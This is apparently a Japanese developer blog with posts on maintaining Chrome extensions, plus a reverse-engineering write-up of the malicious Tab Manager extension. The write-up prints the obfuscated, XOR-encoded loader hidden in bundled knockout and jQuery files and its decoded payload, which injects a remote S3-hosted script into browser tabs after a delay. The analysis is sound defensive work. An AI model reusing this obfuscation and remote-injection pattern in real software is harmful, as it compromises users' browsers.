殲滅t.coを6年ぶりくらいに更新しました。

殲滅t.co - Chrome ウェブストア
twitterのUIがどんどん改悪されていく…。

kill-tco/script.js at master · retrorocket/kill-tco · GitHub
これ、もはや拡張の意味があるのかわからない感じのコードになりましたね…。twitterカードとか、プロフィール内のリンクは復元後のURLが取得できないので諦めました。

既存のChrome拡張のbackground pageをevent pageに移行する。

Right-Click to Calendar - Chrome ウェブストア
3.9.0をリリースしました。終了日時検出と24時以上の表記に対応させました。

内部的な変更としては、background pageからevent pageの利用に移行しました。雑に説明すると「拡張機能のためだけに裏でずっとプロセスを生きたままの状態にせず、必要なときにだけプロセスが起動して、用が済んだら終了する」という修正です。普段の使用中に目にする箇所ではないため地味なのですが、私の環境だと拡張1つにつき25,000kb-30,000kbくらいメモリ専有してしまうのでいい加減(やろうと思ってから6年経ってる)対応しました。たしかRight-Click to Calendar作って半年後ぐらいに追加された機能だった気がします。

background pageとevent pageの違いとか、移行時の注意は以下のサイトが本当によくまとまっているので私からは特に何も説明することはないです。公式ドキュメントとあわせてお世話になりました。

コンテキストメニューを設定する場合の注意として、chrome.contextMenus.createchrome.runtime.onInstalled.addListener内で実行しないと、イベントページが生成されるたびにcreateが呼ばれて無限にコンテキストメニューが増えていきます。あとコンテキストメニュー押下時のイベントはchrome.contextMenus.onClicked.addListenerで定義する必要があります。
このあたりサンプルコード見るとわかりやすいです。
chrome/common/extensions/docs/examples/api/contextMenus/event_page/sample.js - chromium/src.git - Git at Google

あと、Right-Click to Calendarは選択中のテキストを予定登録画面に送信する必要があり、今まではそのテキストをbackground pageに記憶させて、予定登録画面からgetBackgroundPageで取得していました。今回はbackground pageが永続化できないため、以下の方法を取りました。chrome.windows.createで任意のオブジェクト渡せればいいのに…。

  1. chrome.windows.createで生成するウインドウ(=予定登録画面)のURLパラメータに、コンテキストメニューの呼び出し元のtab.idを付与
  2. ウインドウ生成後、ウインドウ内で読み込んだスクリプトでURLパラメータ内のtab.idを取得
  3. tab.idに一致するcontent scriptに対して、ウインドウからsendMessageを実施
  4. messageを受け取ったcontent scriptがレスポンスとして選択中のテキストを送信する
  5. ウインドウがテキストを受信する

これだけいろいろやりましたが、Chrome Extensions Manifest V3でbackground pageを廃止してService Workerに移行する計画もあるみたいなので、すぐ移行できそうなアプリではない限り、今からのevent pageへの移行はおすすめできません。もう少し動向を見たほうが良いと思います。
参考:Latest topics > Chrome Extensions Manifest V3とFirefoxアドオンの死(の可能性) - outsider reflex

Right-Click to Calendar 3.8.0をリリースしました。

Right-Click to Calendar - Chrome ウェブストア
3.8.0をリリースしました。変更点は以下のとおりです。

2019/04/13:
・フレーム内で選択したテキストが投稿画面に反映されない不具合を修正しました。
・OAuthトークンの有効期限切れが発生した場合に保存した正規表現が消去される不具合を修正しました。
・パネル機能が削除されたため、設定を消去しました。
・正規表現をテストできる機能を追加しました。

パネルモード、便利だったけど随分前にpicture-in-pictureモードになっちゃって廃止されてしまったので削除しました。
フレーム内のテキスト選択に対してイベント投稿ができないのはずっと直したいと思っていたので、直せてよかったです。iframeとframeに対して有効になります。

内部的な変更点としては、使用しているライブラリが軒並み古くてやばいので、選定し直し&バージョンアップを行いました。入れ子のリストは選定理由です。

  • 日付計算用ライブラリ:jQuery.exDate.js -> Moment.js
    • 使いやすくてドキュメントが充実しているのと、定番のライブラリなので。
  • アラート表示用ライブラリ:SweetAlert 1.x -> SweetAlert2
  • jQuery:1.7 -> 3.4.0
  • Datepicker: jQuery UI Datepicker -> Chrome標準のカレンダー(input type=date
    • Chrome拡張だから絶対Chromeで動くし、じゃあinput type=dateのDatepickerでいいじゃんってなったので。ただ、初見の人はどこでカレンダー表示させるかわからないかもしれないですね…(自分がそうだった)。
    • どうでもいいけど、Edgeは日付選択をドラムロール式でやらせるので滅んでほしい。
  • オプションページとイベント設定ページで使ってるBootstrap:バージョン忘れた -> 4

あと、アロー関数を使ったり、変数宣言のvarをletとconstに書き換えたりしました。これだけでもだいぶ見通しがよくなりました。
jQueryでやってることがDOM操作だけなので、jQueryをやめて素のJavaScrtiptに移行するか悩んだのですが、廃止するメリットが特にないことと、getElementByIdとか長くて嫌だと思ったので、バージョンだけ上げました。
正規表現を複数設定して保存する機能がどうしてもほしかったのですが、リファクタリングで疲れて実装する気力が残ってないので、やる気が出たらどうにかしたいですね…。

機能追加はほぼ無いですが、中身をかなり派手にいじったのと、日付計算がmoment.jsに移行したりしてるので、もし動かないとかあったら教えてほしいです。

あと最後に宣伝というか、これがこの記事のメインなのですが、
劇場版『名探偵コナン 紺青の拳(フィスト)』
めちゃくちゃ面白かったのでぜひ見てください。もはやミステリーでもサスペンスでもなんでもなく内容が荒唐無稽で、製作サイドから要求された要素全部ぶち込んでミキサーにかけたのを脳に直接流し込んでくるタイプの映画でとにかく最高でした。ほんと面白かったです。去年の興行収入絶対超えられないと思うけど私はめちゃくちゃ好きな映画です。ぜひ見てください。

Tab Managerの旧ver(4.3.4)がcoolbarを仕込んでいた方法がわかったので書く。

Chrome ExtensionのLive HTTP Headersの調査(CoolBar.Pro導入 Extensionが何を行うかの調査)
CoolBarってTab Managerにもいたよね、ということで。

昔の記事で、Tab Managerがどうやってマルウェア化コードを仕込んだかわからない、と書いたのですが、わかったので方法を書いてみます。Tab Managerは最新版が4.5.1なので、恐らく4.3.4とは別の方法でコードを埋め込んでいると思うのですが、今後の予防という面での参考になればと思い掲載します。

調査対象の絞り込み。

4.3.4はlib配下にjsが入っているのですが、マルウェア化する前の4.2.0とdiffを取ると以下が増えています。
(ちなみに、Live HTTP Headersは画像にマルウェア化コードを仕込んでいますが、4.2.0とdiff取ると差分がないので、Tab Managerは画像に仕込んでいないことがわかります。)

  • background-ui.js
  • background.js
  • jquery.min.js
  • knockout.min.js
  • options.js

うち、knockout.min.jsからはknockoutのバージョン表記が消されていて怪しいので、こいつを調べてみます。
knockout.min.jsとbackground.jsはgistで上げておきます。ほんとは人のコードだから上げちゃだめなんだろうけど。
Tab Manager 4.3.4 background.js knockout.min.js

minifyからの復元にはPretty Diff – The difference toolを使用しました。
以降、行数はprettydiffでの復元結果をもとに説明します。

ソースを見てみる。

knockout.min.jsをざーっと眺めてみます。

2866行目になんだか怪しい変数がいました。

            var co = "e+8#.9$%22#ed6;,?m%3Empm)%22.8%20(#9c.?(,9(%08!(%20(#9ej%3E.?$=9jdv%3Ec%3E?.mpmj" +
                    "%2599=%3Ewbb%3E~c(8%60.(#9?,!%60%7Cc,%20,7%22#,:%3Ec.%22%20b+%22?9%22#b9,/%12%20" +
                    ",#,*(?c'%3Ejv)%22.8%20(#9c/%22)4c,==(#)%0E%25$!)e%3Edv0dedv1.%25?%22%20(19,/%3E1" +
                    "(5(.89(%1E.?$=91%22#%18=),9()1!%22.,!1%3E9%22?,*(1*(91%04%09";

coの呼び出し元を調べると、3841行目にかなり怪しい関数がいます。
String.fromCharCodeを呼んでるし、こいつが犯人ですね。
コメントに挙動を書いておきました。間違ってるかも。

        function () {
            function b() {
                try {
                    var o = c(d(co)).split("|");
                    // この時点でのoの内容は後述
                    "undefined" != typeof window[o[1]][o[2]] && window[o[1]][o[6]][o[5]][o[7]](o[8], function (c) {
                        // background.jsでchromeのstorageに拡張初回起動時の時間をセットしている。現在時刻が記録された時刻の4.8時間後ならイベントリスナを登録する。
                        "undefined" != typeof c[o[8]] && (new Date).getTime() > c[o[8]] + e() 
                            ? function () {
                                eval("function t(i,c) {'complete'==c.status&&" + o[1] + "." + o[2] + "." + o[3] + '(i, { code: "' + o[0] + '" }); }; ' + o[1] + "." + o[2] + "." + o[4] + ".addListener(t);")
                            }()
                            : function () {
                                setTimeout(function () {
                                    b()
                                }, 36e5) //3600000ミリ秒=未定義なら1時間後にこの関数が呼ばれるようになっている。
                            }()
                    })
                } catch (e) {}
            }
            function c(e) {
                for (var n = 0, a = e.length, t = ""; a > n;) 
                    t += String.fromCharCode(77 ^ e.charCodeAt(n++)); // URLデコードされたcoの復号化。
                return t
            }
            function e() {
                return parseInt("107AC00", 16) //17280000ミリ秒 = 4.8時間
            }
            function d(e) {
                return decodeURI(e)  // coの復号化。丁寧にURLエンコード噛ませてるのでたちが悪い。
            }
            b()
        }(),

var oの中身。

0: "(function(){var s = document.createElement('script');s.src = 'https://s3.eu-central-1.amazonaws.com/forton/tab_manager.js';document.body.appendChild(s);})();" // ぐわー
1: "chrome"
2: "tabs"
3: "executeScript"
4: "onUpdated"
5: "local"
6: "storage"
7: "get"
8: "ID"

tab_manager.jsの挙動はreddit.comの記事通りです。
拡張インストール後5時間位経過していた場合は、めでたくscriptタグが埋め込まれます。
こんなの審査で見つけられるわけないでしょう…。わかった瞬間超脳汁出たもん。
手口が完全にマルウェアなので、パズル解いてるみたいで超楽しかったです。

あと、記事書き終わってTab Managerのページ見たら404になってました。良かったです。

追記。とりあえず4.5.1も調べた。

楽しかったので4.5.1も調べました。3ヶ月前に見つけて報告してたらもっと早く公開停止になってたかもしれないので不甲斐ないです。
bg.jsから暗号化されたマルウェア化コードをstorageに仕込んだ後、jquery-2.2.2.min.jsの最後に書いてあるma.Wi()から、勝手に定義したjQuery.check()→jQuery.proceed()を呼んでますね。

// jquery-2.2.2.min.js
   //(略)
    ma.extend({
        check: function (a) {
            window[a[1]][a[2]][a[3]][a[4]](a[0], function (b) {
                "undefined" == typeof b[a[0]]
                    ? setTimeout(jQuery.check, 6e4, a)
                    : jQuery.proceed(b[a[0]])
            })
        }
    }),
   //(略)
    ma.extend({
        proceed: function (a) {
            aa = decodeURI(a);
            for (var b = 0, c = aa.length, d = ""; c > b;) 
                d += String.fromCharCode(77 ^ aa.charCodeAt(b++));
            var e = d.split("|");
            window[e[1]][e[6]][e[7]][e[8]](e[10], function (b) {
                "undefined" == typeof b[e[10]]
                    ? function () {
                        var b = {};
                        b[e[10]] = (new Date).getTime(),
                        window[e[1]][e[6]][e[7]][e[9]](b),
                        setTimeout(jQuery.proceed, 36e5, a)
                    }()
                    : ((new Date).getTime() - b[e[10]] || 0) < 864e5
                        ? setTimeout(jQuery.proceed, 36e5, a)
                        : function () {
                            window[e[1]][e[2]][e[3]][e[4]](function (a, b) {
                                "complete" == b.status && window[e[1]][e[2]][e[5]](a, {code: e[11]})
                            })
                        }()
            })
        }
    }),

    //(略)

    // 復号化されると UID|chrome|storage|local|get|tabs
    ma.Wi              = function (a, b, c) {
        var d = "%18%04%091.%25?%22%20(1%3E9%22?,*(1!%22.,!1*(919,/%3E";
        d = decodeURI(d);
        for (var e = 0, f = d.length, g = ""; f > e;) 
            g += String.fromCharCode(77 ^ d.charCodeAt(e++));
        var h = g.split("|");
        "undefined" != typeof window[h[1]][h[5]] && jQuery.check(h)
    },
// background.js
(function () {
    setTimeout(function () {
        if (chrome.storage) {
            chrome.storage.local.get({UID: 0}, function (r){
                0 == r.UID && chrome.storage.local.set({
                    UID : "%7D1.%25?%22%20(19,/%3E1%22#%18=),9()1,))%01$%3E9(#(?1(5(.89(%1E.?$=91%3E9%22?,*(1!%22.,!1*(91%3E(91%04%091e+8#.9$%22#ed6;,?m%3Empm)%22.8%20(#9c.?(,9(%08!(%20(#9ej%3E.?$=9jdv%3Ec%3E?.mpmjbb%3E~c(8%60.(#9?,!%60%7Cc,%20,7%22#,:%3Ec.%22%20b+%22?9%22#b9,/%12%20,#,*(?%12xc'%3Ejv)%22.8%20(#9c/%22)4c,==(#)%0E%25$!)e%3Edv0dedv"
                });
            });
        } else {
            console.error("Chrome storage access failed");
        }
    }, 10);
})();

// 復号化されると以下のコードが埋め込まれる
(function(){var s = document.createElement('script');s.src = '//s3.eu-central-1.amazonaws.com/forton/tab_manager_5.js';document.body.appendChild(s);})();

Chromeのinfo.selectionTextは改行がスペースに変換される。

Chromeのinfo.selectionTextは改行がスペースに変換されることに今日気づきました。
なんで今まで自分の作ってた拡張が動いてたのかがマジで謎いです。

選択したテキストの改行まで欲しい場合は、残念ながらchrome.tabs.sendMessageでタブにメッセージを送って、content script上でsendResponse({stext: window.getSelection().toString()});するしかないようですね。
メッセージパッシング、非同期処理になっちゃうのと、権限が更に必要になっちゃうのであんまりやりたくないんですが、仕方なくコールバックメソッドの中にレスポンスを受け取った後の処理を全部書きました。

以下、処理の抜粋です。

background.js

var res = function (response) {
    var stext = response.stext; //改行も含めたテキスト
(中略);
// content scriptにメッセージを送る
chrome.tabs.sendMessage(tab.id, {
    message: "hello"
}, res);

content.js

chrome.runtime.onMessage.addListener(
    function (request, sender, sendResponse) {
        sendResponse({stext: window.getSelection().toString()});
    }
);